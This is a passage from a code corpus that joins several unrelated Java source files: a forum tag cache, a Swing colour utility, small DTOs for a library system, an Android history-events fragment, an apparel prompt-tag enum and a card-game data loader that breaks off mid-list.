t12 = new TagDTO(); t12.setCategoryName("影视"); t12.setTags(Arrays.asList("电影", "电视剧", "综艺")); tagDTOS.add(t12); return tagDTOS; } public static String filterInvalid(String tags) { String [] splitTag = StringUtils.split(tags, ","); List<TagDTO> tagDTOS = getTags(); List<String> tagList = tagDTOS.stream().flatMap(tag -> tag.getTags().stream()).collect(Collectors.toList()); return Arrays.stream(splitTag).filter(t -> !tagList.contains(t)).collect(Collectors.joining(",")); } }
Dantence/MyForum
src/main/java/com/yyw/community/mycommunity/cache/TagCache.java
65,525
package com.dgm.ui.util; import com.dgm.ui.MyTreeNode; import com.dgm.db.po.Node; import com.dgm.ui.renderer.CheckboxTreeCellRenderer; import org.apache.commons.lang3.StringUtils; import java.awt.Color; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.function.Function; import javax.swing.tree.DefaultMutableTreeNode; /** * @author 王银飞 * @email [email protected] * @date 2023/6/25 1:12 * @description */ public class ColorsUtil { public static final String BLACK = "黑色"; public static final String DEF_TYPE = "0"; public static Map<String, Object> colors = new HashMap<>(); public static List<String> colorArr = new ArrayList<>(); public static Map<String, Object> nodeStyle = new HashMap<>(); public static List<String> nodeStyleArr = new ArrayList<>(); public static Map<String, Object> editStyle = new HashMap<>(); public static List<String> editStyleArr = new ArrayList<>(); static { editStyle.put(CheckboxTreeCellRenderer.flow, CheckboxTreeCellRenderer.flow); editStyle.put("line underscore", "LINE_UNDERSCORE"); editStyle.put("wave underscore", "WAVE_UNDERSCORE"); editStyle.put("boxed", "BOXED"); editStyle.put("strikeout", "STRIKEOUT"); editStyle.put("bold line underscore", "BOLD_LINE_UNDERSCORE"); editStyle.put("bold dotted line", "BOLD_DOTTED_LINE"); editStyle.put("search match", "SEARCH_MATCH"); editStyle.put("rounded box", "ROUNDED_BOX"); editStyleArr.add(CheckboxTreeCellRenderer.flow); editStyleArr.add("line underscore"); editStyleArr.add("wave underscore"); editStyleArr.add("boxed"); editStyleArr.add("strikeout"); editStyleArr.add("bold line underscore"); editStyleArr.add("bold dotted line"); editStyleArr.add("search match"); editStyleArr.add("rounded box"); nodeStyle.put(CheckboxTreeCellRenderer.flow, CheckboxTreeCellRenderer.flow); nodeStyle.put("plain","0"); nodeStyle.put("bold","1"); nodeStyle.put("italic","2"); nodeStyle.put("ask","3"); nodeStyle.put("strikeout","4"); nodeStyle.put("waved","8"); nodeStyle.put("underline","16"); nodeStyle.put("bold dotted line","32"); nodeStyle.put("search match","64"); nodeStyle.put("smaller","128"); nodeStyle.put("opaque","256"); nodeStyle.put("clickable","512"); nodeStyle.put("hovered","1024"); nodeStyle.put("no border","2048"); nodeStyleArr.add(CheckboxTreeCellRenderer.flow); nodeStyleArr.add("plain"); nodeStyleArr.add("bold"); nodeStyleArr.add("italic"); nodeStyleArr.add("ask"); nodeStyleArr.add("strikeout"); nodeStyleArr.add("waved"); nodeStyleArr.add("underline"); nodeStyleArr.add("bold dotted line"); nodeStyleArr.add("search match"); nodeStyleArr.add("smaller"); nodeStyleArr.add("opaque"); nodeStyleArr.add("clickable"); nodeStyleArr.add("hovered"); nodeStyleArr.add("no border"); colorArr.add(CheckboxTreeCellRenderer.flow); colorArr.add("金棒"); colorArr.add("淡金色棒"); colorArr.add("黑色卡其色"); colorArr.add("黄褐色"); colorArr.add("橄榄"); colorArr.add("黄色"); colorArr.add("黄绿色"); colorArr.add("深橄榄绿色"); colorArr.add("橄榄色单调"); colorArr.add("草坪绿"); colorArr.add("图表重用"); colorArr.add("黄绿色"); colorArr.add("深绿色"); colorArr.add("绿色"); colorArr.add("森林绿"); colorArr.add("酸橙"); colorArr.add("柠檬绿"); colorArr.add("浅绿色"); colorArr.add("淡绿色"); colorArr.add("深海绿色"); colorArr.add("中春绿色"); colorArr.add("春天绿色"); colorArr.add("海绿色"); colorArr.add("中型水上海洋"); colorArr.add("中海绿色"); colorArr.add("浅海绿色"); colorArr.add("深板岩灰色"); colorArr.add("蓝绿色"); colorArr.add("深青色"); colorArr.add("水色"); colorArr.add("青色"); colorArr.add("浅青色"); colorArr.add("深蓝绿色"); colorArr.add("绿松石"); colorArr.add("中绿松石色"); colorArr.add("淡绿色"); colorArr.add("水上海洋"); colorArr.add("粉蓝色"); colorArr.add("学员蓝色"); colorArr.add("钢蓝"); colorArr.add("玉米花蓝色"); colorArr.add("深天蓝色"); colorArr.add("道奇蓝"); colorArr.add("浅蓝"); colorArr.add("天蓝色"); colorArr.add("浅天蓝色"); colorArr.add("午夜蓝"); colorArr.add("海军"); colorArr.add("深蓝"); colorArr.add("中蓝"); colorArr.add("蓝色"); colorArr.add("宝蓝色"); colorArr.add("紫罗兰色"); colorArr.add("靛青"); colorArr.add("深板岩蓝"); colorArr.add("板岩蓝"); colorArr.add("中板岩蓝"); colorArr.add("中紫色"); colorArr.add("深洋红色"); colorArr.add("深紫色"); colorArr.add("黑兰花"); colorArr.add("中兰花"); colorArr.add("紫色"); colorArr.add("蓟"); colorArr.add("李子"); colorArr.add("紫色"); colorArr.add("洋红色"); colorArr.add("兰花"); colorArr.add("中等紫红色"); colorArr.add("浅紫红色"); colorArr.add("深粉红色"); colorArr.add("亮粉色"); colorArr.add("浅粉红色"); colorArr.add("粉"); colorArr.add("仿古白"); colorArr.add("米色"); colorArr.add("浓汤"); colorArr.add("杏仁变白"); colorArr.add("小麦"); colorArr.add("玉米丝"); colorArr.add("柠檬雪纺"); colorArr.add("浅金黄色"); colorArr.add("浅黄色"); colorArr.add("鞍棕色"); colorArr.add("赭色"); colorArr.add("巧克力"); colorArr.add("秘鲁"); colorArr.add("沙棕色"); colorArr.add("魁梧的木头"); colorArr.add("棕褐色"); colorArr.add("玫瑰红"); colorArr.add("莫卡辛"); colorArr.add("纳瓦霍白"); colorArr.add("桃粉扑"); colorArr.add("朦胧的玫瑰"); colorArr.add("薰衣草腮红"); colorArr.add("麻布"); colorArr.add("老花边"); colorArr.add("木瓜鞭"); colorArr.add("海贝壳"); colorArr.add("薄荷奶油"); colorArr.add("板岩灰"); colorArr.add("浅灰色"); colorArr.add("浅钢蓝色"); colorArr.add("薰衣草"); colorArr.add("花白色"); colorArr.add("爱丽丝蓝"); colorArr.add("幽灵白"); colorArr.add("甘露"); colorArr.add("象牙"); colorArr.add("天蓝色"); colorArr.add("雪"); colorArr.add("黑色"); colorArr.add("暗灰色"); colorArr.add("灰色"); colorArr.add("深灰色"); colorArr.add("银"); colorArr.add("浅灰色"); colorArr.add("恩斯伯勒"); colorArr.add("白色的烟"); colorArr.add("白色"); colors.put(CheckboxTreeCellRenderer.flow, CheckboxTreeCellRenderer.flow); colors.put("金棒",convertColor("218,165,32")); colors.put("淡金色棒",convertColor("238,232,170")); colors.put("黑色卡其色",convertColor("189,183,107")); colors.put("黄褐色",convertColor("240,230,140")); colors.put("橄榄",convertColor("128,128,0")); colors.put("黄色",convertColor("255,255,0")); colors.put("黄绿色",convertColor("154,205,50")); colors.put("深橄榄绿色",convertColor("85,107,47")); colors.put("橄榄色单调",convertColor("107,142,35")); colors.put("草坪绿",convertColor("124,252,0")); colors.put("图表重用",convertColor("127,255,0")); colors.put("黄绿色",convertColor("173,255,47")); colors.put("深绿色",convertColor("0,100,0")); colors.put("绿色",convertColor("0,128,0")); colors.put("森林绿",convertColor("34,139,34")); colors.put("酸橙",convertColor("0,255,0")); colors.put("柠檬绿",convertColor("50,205,50")); colors.put("浅绿色",convertColor("144,238,144")); colors.put("淡绿色",convertColor("152,251,152")); colors.put("深海绿色",convertColor("143,188,143")); colors.put("中春绿色",convertColor("0,250,154")); colors.put("春天绿色",convertColor("0,255,127")); colors.put("海绿色",convertColor("46,139,87")); colors.put("中型水上海洋",convertColor("102,205,170")); colors.put("中海绿色",convertColor("60,179,113")); colors.put("浅海绿色",convertColor("32,178,170")); colors.put("深板岩灰色",convertColor("47,79,79")); colors.put("蓝绿色",convertColor("0,128,128")); colors.put("深青色",convertColor("0,139,139")); colors.put("水色",convertColor("0,255,255")); colors.put("青色",convertColor("0,255,255")); colors.put("浅青色",convertColor("224,255,255")); colors.put("深蓝绿色",convertColor("0,206,209")); colors.put("绿松石",convertColor("64,224,208")); colors.put("中绿松石色",convertColor("72,209,204")); colors.put("淡绿色",convertColor("175,238,238")); colors.put("水上海洋",convertColor("127,255,212")); colors.put("粉蓝色",convertColor("176,224,230")); colors.put("学员蓝色",convertColor("95,158,160")); colors.put("钢蓝",convertColor("70,130,180")); colors.put("玉米花蓝色",convertColor("100,149,237")); colors.put("深天蓝色",convertColor("0,191,255")); colors.put("道奇蓝",convertColor("30,144,255")); colors.put("浅蓝",convertColor("173,216,230")); colors.put("天蓝色",convertColor("135,206,235")); colors.put("浅天蓝色",convertColor("135,206,250")); colors.put("午夜蓝",convertColor("25,25,112")); colors.put("海军",convertColor("0,0,128")); colors.put("深蓝",convertColor("0,0,139")); colors.put("中蓝",convertColor("0,0,205")); colors.put("蓝色",convertColor("0,0,255")); colors.put("宝蓝色",convertColor("65,105,225")); colors.put("紫罗兰色",convertColor("138,43,226")); colors.put("靛青",convertColor("75,0,130")); colors.put("深板岩蓝",convertColor("72,61,139")); colors.put("板岩蓝",convertColor("106,90,205")); colors.put("中板岩蓝",convertColor("123,104,238")); colors.put("中紫色",convertColor("147,112,219")); colors.put("深洋红色",convertColor("139,0,139")); colors.put("深紫色",convertColor("148,0,211")); colors.put("黑兰花",convertColor("153,50,204")); colors.put("中兰花",convertColor("186,85,211")); colors.put("紫色",convertColor("128,0,128")); colors.put("蓟",convertColor("216,191,216")); colors.put("李子",convertColor("221,160,221")); colors.put("紫色",convertColor("238,130,238")); colors.put("洋红色",convertColor("255,0,255")); colors.put("兰花",convertColor("218,112,214")); colors.put("中等紫红色",convertColor("199,21,133")); colors.put("浅紫红色",convertColor("219,112,147")); colors.put("深粉红色",convertColor("255,20,147")); colors.put("亮粉色",convertColor("255,105,180")); colors.put("浅粉红色",convertColor("255,182,193")); colors.put("粉",convertColor("255,192,203")); colors.put("仿古白",convertColor("250,235,215")); colors.put("米色",convertColor("245,245,220")); colors.put("浓汤",convertColor("255,228,196")); colors.put("杏仁变白",convertColor("255,235,205")); colors.put("小麦",convertColor("245,222,179")); colors.put("玉米丝",convertColor("255,248,220")); colors.put("柠檬雪纺",convertColor("255,250,205")); colors.put("浅金黄色",convertColor("250,250,210")); colors.put("浅黄色",convertColor("255,255,224")); colors.put("鞍棕色",convertColor("139,69,19")); colors.put("赭色",convertColor("160,82,45")); colors.put("巧克力",convertColor("210,105,30")); colors.put("秘鲁",convertColor("205,133,63")); colors.put("沙棕色",convertColor("244,164,96")); colors.put("魁梧的木头",convertColor("222,184,135")); colors.put("棕褐色",convertColor("210,180,140")); colors.put("玫瑰红",convertColor("188,143,143")); colors.put("莫卡辛",convertColor("255,228,181")); colors.put("纳瓦霍白",convertColor("255,222,173")); colors.put("桃粉扑",convertColor("255,218,185")); colors.put("朦胧的玫瑰",convertColor("255,228,225")); colors.put("薰衣草腮红",convertColor("255,240,245")); colors.put("麻布",convertColor("250,240,230")); colors.put("老花边",convertColor("253,245,230")); colors.put("木瓜鞭",convertColor("255,239,213")); colors.put("海贝壳",convertColor("255,245,238")); colors.put("薄荷奶油",convertColor("245,255,250")); colors.put("板岩灰",convertColor("112,128,144")); colors.put("浅灰色",convertColor("119,136,153")); colors.put("浅钢蓝色",convertColor("176,196,222")); colors.put("薰衣草",convertColor("230,230,250")); colors.put("花白色",convertColor("255,250,240")); colors.put("爱丽丝蓝",convertColor("240,248,255")); colors.put("幽灵白",convertColor("248,248,255")); colors.put("甘露",convertColor("240,255,240")); colors.put("象牙",convertColor("255,255,240")); colors.put("天蓝色",convertColor("240,255,255")); colors.put("雪",convertColor("255,250,250")); colors.put("黑色",convertColor("0,0,0")); colors.put("暗灰色",convertColor("105,105,105")); colors.put("灰色",convertColor("128,128,128")); colors.put("深灰色",convertColor("169,169,169")); colors.put("银",convertColor("192,192,192")); colors.put("浅灰色",convertColor("211,211,211")); colors.put("恩斯伯勒",convertColor("220,220,220")); colors.put("白色的烟",convertColor("245,245,245")); colors.put("白色",convertColor("255,255,255")); } public static String getStyle(DefaultMutableTreeNode node, Function<Node, String> fuc, String def) { String color = fuc.apply(((MyTreeNode) node).node()); if (node.getParent() instanceof MyTreeNode) { if (CheckboxTreeCellRenderer.flow.equals(color)) { return getStyle((DefaultMutableTreeNode) node.getParent(), fuc, def); } else { if (StringUtils.isEmpty(color)) { return def; } return color; } } else { if (CheckboxTreeCellRenderer.flow.equals(color)) { return def; } else { if (StringUtils.isEmpty(color)) { return def; } return color; } } } public static Color getColor(DefaultMutableTreeNode node, Function<Node, String> fuc, String def) { String color = fuc.apply(((MyTreeNode) node).node()); if (node.getParent() instanceof MyTreeNode) { if (CheckboxTreeCellRenderer.flow.equals(color)) { return getColor((DefaultMutableTreeNode) node.getParent(), fuc, def); } else { if (StringUtils.isEmpty(color)) { return convertColor(def); } return convertColor(color); } } else { if (CheckboxTreeCellRenderer.flow.equals(color)) { return convertColor(def); } else { if (StringUtils.isEmpty(color)) { return convertColor(def); } return convertColor(color); } } } private static Color convertColor(String color){ if (color.equals("null") || CheckboxTreeCellRenderer.flow.equals(color)) { return null; } else { String[] split = color.split(","); return new Color(Integer.parseInt(split[0]), Integer.parseInt(split[1]), Integer.parseInt(split[2])); } } public static String convertColorRGB(String color){ Color c = (Color) colors.get(color); return c.getRed()+"," + c.getGreen() + "," + c.getBlue(); } }
gitwub/DGM
untitled2/src/main/java/com/dgm/ui/util/ColorsUtil.java
65,526
package com.vission.creational.factory.domain.phone; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.ToString; import lombok.experimental.SuperBuilder; @Data @SuperBuilder @ToString(callSuper = true) @EqualsAndHashCode(callSuper = true) public class HuaweiPhone extends Phone { /** * 海军 */ public void navy() { System.out.println("4g比5g快"); } }
vission8899/designPattern
src/main/java/com/vission/creational/factory/domain/phone/HuaweiPhone.java
65,527
package com.xinran.event; /** * @author 高海军 帝奇 Apr 18, 2015 1:47:30 PM */ public interface Event { public String getType(); }
XinranReadingGroup/XinRanLibraryManagementSystem
web/src/main/java/com/xinran/event/Event.java
65,528
package com.xinran.vo; import java.util.List; import lombok.Data; import com.xinran.pojo.Book; import com.xinran.pojo.OnOffStockRecord; /** * @author 高海军 帝奇 Apr 8, 2015 7:42:23 AM */ @Data public class BookDetail { private Book Book; private OnOffStockRecord onOffStockRecord; // 捐书人或者享书人VO private BasicUserVO ownerUserVO; private BookLocationVO bookLocationVO; private List<BasicUserVO> histroicBorrowedRecordList; }
XinranReadingGroup/XinRanLibraryManagementSystem
web/src/main/java/com/xinran/vo/BookDetail.java
65,529
package com.example.lishidatiapp.fragment; import android.annotation.SuppressLint; import android.content.Context; import android.graphics.Rect; import android.graphics.drawable.Drawable; import android.os.Bundle; import android.text.TextUtils; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import androidx.annotation.NonNull; import androidx.fragment.app.Fragment; import androidx.recyclerview.widget.DefaultItemAnimator; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import com.example.lishidatiapp.R; import com.example.lishidatiapp.RegisterActivity; import com.example.lishidatiapp.activity.EventsAdapter; import com.example.lishidatiapp.bean.BigEvent; import com.example.lishidatiapp.bean.Const; import com.example.lishidatiapp.httpinfo.OkHttpUtils; import com.example.lishidatiapp.interfaces.OnCallBack; import com.example.lishidatiapp.util.JsonUtils; import com.example.lishidatiapp.util.ToastUtils; import org.json.JSONArray; import org.json.JSONObject; import java.util.ArrayList; import java.util.List; //public class HomeFragment extends Fragment { // EventsAdapter medicationsAdapter; // List<BigEvent> bigEventList; // RecyclerView recyclerView; // View view; // public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // // view = inflater.inflate(R.layout.fragment_home, container, false); // bigEventList=new ArrayList<>(); // // 事件情况 // recyclerView = view.findViewById(R.id.event_recycle); // // ToLiShiList(); // // return view; // } // private void ToLiShiList() { // //// OkHttpUtils okHttpUtils = new OkHttpUtils(); //// okHttpUtils.requestDataFromeGet(Const.getHttpUrl(Const.sql)+"?query=getArticle&key=article"); //// okHttpUtils.setOnCallBack(new OnCallBack() { //// @Override //// public void callSuccessBack(String json) { //// //// try { //// JSONArray jsonArray = new JSONArray(json); //// //// int length = jsonArray.length(); //// int[] array = new int[length]; //// //// for (int i = 0; i < length; i++) { //// JSONObject object= (JSONObject) jsonArray.get(i); //// int id=object.getInt("id"); //// String shortname=object.getString("shortname"); //// String introduce=object.getString("introduce"); //// String photo=object.getString("photo"); //// BigEvent event=new BigEvent(); //// event.setId(id); //// event.setIntroduce(introduce); //// event.setShortname(shortname); //// event.setPhoto(photo); //// bigEventList.add(event); //// } //// LinearLayoutManager manager = new LinearLayoutManager(getContext()); //// manager.setOrientation(LinearLayoutManager.VERTICAL); //// medicationsAdapter = new EventsAdapter(getContext(), bigEventList); //// recyclerView.setAdapter(medicationsAdapter); //// recyclerView.setItemAnimator(new DefaultItemAnimator()); //// recyclerView.setLayoutManager(manager); //// recyclerView.addItemDecoration(new CustomItemDecoration()); //// }catch (Exception e){ //// e.printStackTrace(); //// //链接错误信息 //// ToastUtils.showToast(getContext(), e.toString()); //// } //// } //// @Override //// public void callErrorBack(String json) { //// //链接错误信息 //// ToastUtils.showToast(getContext(), json); //// } //// }); // // } // public static class CustomItemDecoration extends RecyclerView.ItemDecoration { // @Override // public void getItemOffsets(Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) { // // 设置元素之间的偏移量为0,即去掉分割线 // outRect.set(0, 0, 0, 0); // } // } // private static final String ARG_PARAM1 = "param1"; // private static final String ARG_PARAM2 = "param2"; // public static HomeFragment newInstance( String param1, String param2) { // HomeFragment fragment = new HomeFragment(); // Bundle args = new Bundle(); // args.putString(ARG_PARAM1, param1); // args.putString(ARG_PARAM2, param2); // fragment.setArguments(args); // return fragment; // } // //} public class HomeFragment extends Fragment { private final List<BigEvent> bigEventList = new ArrayList<>(); EventsAdapter medicationsAdapter; View view; Context context; void initData() { @SuppressLint("UseCompatLoadingForDrawables") Drawable drawable1 = getResources().getDrawable(R.drawable.mingchao); BigEvent bigEvent1 = new BigEvent(1, "明朝", "1368年-1644年", "明朝是中国历史上最后由汉族建立的大一统王朝, 历经12世、16位皇帝,国祚276年。", drawable1); bigEventList.add(bigEvent1); @SuppressLint("UseCompatLoadingForDrawables") Drawable drawable2 = getResources().getDrawable(R.drawable.jingnan); BigEvent bigEvent2 = new BigEvent(2, "靖难之役", "1399年8月6日", "靖难之役又称靖难之变是中国明朝初年建文帝在位时发生的一场因削藩政策引发的争夺皇位的内战。", drawable2); bigEventList.add(bigEvent2); @SuppressLint("UseCompatLoadingForDrawables") Drawable drawable3 = getResources().getDrawable(R.drawable.nuomandi); BigEvent bigEvent3 = new BigEvent(3, "诺曼底登陆", "1944年", "诺曼底登陆,代号海王行动,是第二次世界大战西方盟军在欧洲西线战场发起的一场大规模攻势。", drawable3); bigEventList.add(bigEvent3); @SuppressLint("UseCompatLoadingForDrawables") Drawable drawable4 = getResources().getDrawable(R.drawable.songlu); BigEvent bigEvent4 = new BigEvent(4, "淞沪会战", "1937年11月", "日军占领北平、天津后,在南方又集中兵力约28万人,陆海空三军联合猛烈进攻上海、南京地区。", drawable4); bigEventList.add(bigEvent4); @SuppressLint("UseCompatLoadingForDrawables") Drawable drawable5 = getResources().getDrawable(R.drawable.zhongtudao); BigEvent bigEvent5 = new BigEvent(5, "中途岛海战", "1942年", "中途岛海战是第二次世界大战中美国海军和日本海军在中途岛附近海域进行的一场大规模海战。", drawable5); bigEventList.add(bigEvent5); } public View onCreateView(@NonNull LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { view = inflater.inflate(R.layout.fragment_home, container, false); context = view.getContext(); // 事件情况 RecyclerView recyclerView = view.findViewById(R.id.event_recycle); initData(); LinearLayoutManager manager = new LinearLayoutManager(context); manager.setOrientation(LinearLayoutManager.VERTICAL); medicationsAdapter = new EventsAdapter(context, bigEventList); recyclerView.setAdapter(medicationsAdapter); recyclerView.setItemAnimator(new DefaultItemAnimator()); recyclerView.setLayoutManager(manager); recyclerView.addItemDecoration(new CustomItemDecoration()); return view; } @Override public void onDestroyView() { super.onDestroyView(); } public static class CustomItemDecoration extends RecyclerView.ItemDecoration { @Override public void getItemOffsets(Rect outRect, @NonNull View view, @NonNull RecyclerView parent, @NonNull RecyclerView.State state) { // 设置元素之间的偏移量为0,即去掉分割线 outRect.set(0, 0, 0, 0); } } private static final String ARG_PARAM1 = "param1"; private static final String ARG_PARAM2 = "param2"; public static HomeFragment newInstance(String param1, String param2) { HomeFragment fragment = new HomeFragment(); Bundle args = new Bundle(); args.putString(ARG_PARAM1, param1); args.putString(ARG_PARAM2, param2); fragment.setArguments(args); return fragment; } }
CCP101/visual-kg-history
android/app/src/main/java/com/example/lishidatiapp/fragment/HomeFragment.java
65,530
package hiforce.pixel.comfy.model.node.prompt.style.extra.apparel; import hiforce.pixel.comfy.model.node.prompt.IPromptType; import lombok.Getter; /** * @author Rocky Yu * @since 2023/11/1 */ public enum ApparelDecorateType implements IPromptType { FRILLED("frilled", "褶边"), CENTER_FRILLS("center_frills", "中心褶花边"), CREASE("crease", "起皱的(有褶的)"), LAYERED("layered", "分层的"), LACE("lace", "蕾丝"), FUR_TRIM("fur_trim", "皮草饰边"), FUR_TRIMMED("fur-trimmed", "毛边的"), FINE_FABRIC_EMPHASIS("fine_fabric_emphasis", "材质增强"), LATEX_THIGHHIGHS("latex_thighhighs", "乳胶材质的长筒袜"), SEE_THROUGH_THIGHHIGHS("see-through_thighhighs", "透明的长筒袜"), ASS_CUTOUT("ass_cutout", "露出屁股的服饰"), ASYMMETRICAL_CLOTHES("asymmetrical_clothes", "不对称的服饰"), BACK_BOW("back_bow", "(服饰)打在背后的结"), COSTUME_SWITCH("costume_switch", "服饰互换"), CROSS_LACED_CLOTHES("cross-laced_clothes", "交叉花边服饰"), DOUBLE_VERTICAL_STRIPE("double_vertical_stripe", "服饰上有两条平行条纹"), HALTER_TOP("halter_top", "吊带式的上身的服饰"), MULTICOLORED_LEGWEAR("multicolored_legwear", "多色款腿部服饰"), NAVY_BLUE_LEGWEAR("navy_blue_legwear", "海军蓝腿部服饰"), NONTRADITIONAL_MIKO("nontraditional_miko", "改款过的日本服饰"), SIDE_CUTOUT("side_cutout", "侧边开口的服饰"), SIDE_SLIT("side_slit", "侧面有缝的服饰"), SIDELESS_OUTFIT("sideless_outfit", "侧面没有布料的服饰"), SINGLE_KNEEHIGH("single_kneehigh", "单边穿着过膝服饰"), SINGLE_VERTICAL_STRIPE("single_vertical_stripe", "露出单边服饰上的垂直条纹"), TURTLENECK("turtleneck", "高领服饰"), TWO_SIDED_FABRIC("two-sided_fabric", "双层样式的服饰画法"), O_RING("o-ring", "带O型环的衣物"), O_RING_TOP("o-ring_top", "带O型环的上衣"), FRINGE_TRIM("fringe_trim", "须边(围巾末端"), LOOSE_BELT("loose_belt", "松散的带子(衣物)"), POM_POM_CLOTHES("pom_pom_(clothes)", "小绒球(衣物挂件)"), DRAWSTRING("drawstring", "衣服的抽绳"), FULL_LENGTH_ZIPPER("full-length_zipper", "有整件衣物长的拉链"), GATHERS("gathers", "褶裥(衣物)"), GUSSET("gusset", "缝在衣服上衬料"), BREAST_POCKET("breast_pocket", "胸口的袋子"); @Getter private final String value; @Getter private final String valueCn; @Getter private final String imageUrl = null; @Getter private final String words; ApparelDecorateType(String value, String valueCn) { this.value = value; this.valueCn = valueCn; this.words = value; } }
hiforce/pixel-force-open-client
pixel-comfy-config-model/src/main/java/hiforce/pixel/comfy/model/node/prompt/style/extra/apparel/ApparelDecorateType.java
65,531
package com.xinran.vo; import java.util.List; import lombok.Data; /** * @author 高海军 帝奇 Jul 5, 2015 3:29:44 PM */ @Data public class LocationMeta { private Long id; private String name; private List<LocationMeta> sub; }
XinranReadingGroup/XinRanLibraryManagementSystem
web/src/main/java/com/xinran/vo/LocationMeta.java
65,532
package cfvbaibai.cardfantasy.data; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.UnsupportedEncodingException; import java.net.URL; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import org.dom4j.Document; import org.dom4j.DocumentException; import org.dom4j.Node; import org.dom4j.io.SAXReader; import cfvbaibai.cardfantasy.CardFantasyRuntimeException; import cfvbaibai.cardfantasy.Randomizer; public class CardDataStore { private Map<String, CardData> cardMap; private Map<String, CardData> aliasCardMap; // Only used in getRandomCard private List<String> allKeys; private CardDataStore() { this.cardMap = new HashMap<>(); this.aliasCardMap = new HashMap<>(); this.allKeys = new ArrayList<>(); } public static CardDataStore loadDefault() { CardDataStore store = new CardDataStore(); Map<String, List<String>> aliasMap = new HashMap<>(); // Key: card name, Value: alias list. Set<String> aliasSet = new HashSet<>(); // To check whether duplicate alias exists. InputStream aliasStream = CardDataStore.class.getClassLoader().getResourceAsStream("cfvbaibai/cardfantasy/data/alias.txt"); BufferedReader aliasReader; try { aliasReader = new BufferedReader(new InputStreamReader(aliasStream, "UTF-8")); } catch (UnsupportedEncodingException e) { throw new CardFantasyRuntimeException("UTF-8 is not supported on the machine", e); } String line = null; int lineNumber = 0; try { while ((line = aliasReader.readLine()) != null) { ++lineNumber; if (line.startsWith("#")) { continue; } if (line.length() == 0) { continue; } int iEqualSign = line.indexOf('='); if (iEqualSign < 0 || iEqualSign == 0 || iEqualSign == line.length() - 1) { throw new CardFantasyRuntimeException("Invalid alias at line " + lineNumber + ": " + line); } String cardName = line.substring(0, iEqualSign); String[] aliases = line.substring(iEqualSign + 1).split(","); if (aliases.length == 0) { throw new CardFantasyRuntimeException("Invalid alias at line " + lineNumber + ": " + line); } List<String> aliasList = new ArrayList<>(); for (int i = 0; i < aliases.length; ++i) { if (aliasSet.contains(aliases[i])) { throw new CardFantasyRuntimeException("Duplicate alias found at line " + lineNumber + ": " + aliases[i]); } aliasSet.add(aliases[i]); aliasList.add(aliases[i]); } if (aliasMap.containsKey(cardName)) { aliasMap.get(cardName).addAll(aliasList); } else { aliasMap.put(cardName, aliasList); } } } catch (IOException e) { throw new CardFantasyRuntimeException("Cannot read line from alias file.", e); } try { aliasReader.close(); } catch (IOException e) { throw new CardFantasyRuntimeException("Cannot close alias reader.", e); } URL url = CardDataStore.class.getClassLoader().getResource("cfvbaibai/cardfantasy/data/CardData.xml"); SAXReader reader = new SAXReader(); try { Document doc = reader.read(url); @SuppressWarnings("unchecked") List<Node> cardNodes = doc.selectNodes("/Cards/Card"); for (Node cardNode : cardNodes) { CardData cardData = new CardData(); cardData.setId(cardNode.valueOf("@id")); cardData.setWikiId(cardNode.valueOf("@wikiId")); cardData.setName(cardNode.valueOf("@name")); cardData.setRace(Race.parse(cardNode.valueOf("@race"))); cardData.setSummonSpeed(Integer.parseInt(cardNode.valueOf("@speed"))); cardData.setStar(Integer.parseInt(cardNode.valueOf("@star"))); cardData.setBaseCost(Integer.parseInt(cardNode.valueOf("@cost"))); cardData.setIncrCost(Integer.parseInt(cardNode.valueOf("@incrCost"))); cardData.setBaseAT(Integer.parseInt(cardNode.valueOf("@at"))); cardData.setBaseHP(Integer.parseInt(cardNode.valueOf("@hp"))); cardData.setIncrAT(Integer.parseInt(cardNode.valueOf("@incrAT"))); cardData.setIncrHP(Integer.parseInt(cardNode.valueOf("@incrHP"))); @SuppressWarnings("unchecked") List<Node> skillNodes = cardNode.selectNodes("Skill"); for (Node skillNode : skillNodes) { SkillType type = SkillType.valueOf(skillNode.valueOf("@type")); int level = Integer.parseInt(skillNode.valueOf("@level")); int unlockLevel = Integer.parseInt(skillNode.valueOf("@unlock")); String summonText = skillNode.valueOf("@summon"); boolean isSummonSkill = summonText == null ? false : Boolean.parseBoolean(summonText); String deathText = skillNode.valueOf("@death"); boolean isDeathSkill = deathText == null ? false : Boolean.parseBoolean(deathText); String precastText = skillNode.valueOf("@precast"); boolean isPrecastSkill = precastText == null ? false : Boolean.parseBoolean(precastText); String postcastText = skillNode.valueOf("@postcast"); boolean isPostcastSkill = postcastText == null ? false : Boolean.parseBoolean(postcastText); cardData.getSkills().add(new CardSkill(type, level, unlockLevel, isSummonSkill, isDeathSkill, isPrecastSkill, isPostcastSkill)); } store.addCard(cardData); if (aliasMap.containsKey(cardData.getName())) { for (String alias : aliasMap.get(cardData.getName())) { store.addAlias(alias, cardData); } } } return store; } catch (DocumentException e) { throw new CardFantasyRuntimeException("Cannot load card info XML.", e); } } private void addAlias(String alias, CardData cardData) { this.aliasCardMap.put(alias, cardData); // allKeys used in getRandomCard, so we should add alias to it. //this.allKeys.add(alias); } private void addCard(CardData cardData) { this.cardMap.put(cardData.getName(), cardData); this.allKeys.add(cardData.getName()); } public CardData getCard(String name) { if (this.cardMap.containsKey(name)) { return this.cardMap.get(name); } else if (this.aliasCardMap.containsKey(name)) { return this.aliasCardMap.get(name); } else { return null; } } public static String[] fiveStarBossGuardians = new String[] { "降临天使", "光明之龙", "战神", "圣诞老人", "纯洁圣女", "隐世先知", "圣城卫士", "海军司令", "浴火龙女", "陨星魔法使", "战场扫荡者", "魔幻人偶师", "最终兵器", "钢铁巨神兵", "预言之神", "制裁之雷神", "均衡女神", "命运占卜师", "魔装机神", "月樱公主", "灵峰剑姬", "叹惋之歌", "制裁之锤", "红莲魔女", "占卜少女", "火焰巫女", "神风剑豪", "武形剑圣", "圣堂刑律官", "雷眼狂花", "联盟摄政王", "战场女武神", "圣堂执政官", "天界守护者", "星辰主宰", "驭灵法师", //"鬼灵搜索师", "残翼羽神", "无限之神", "爱之使者", 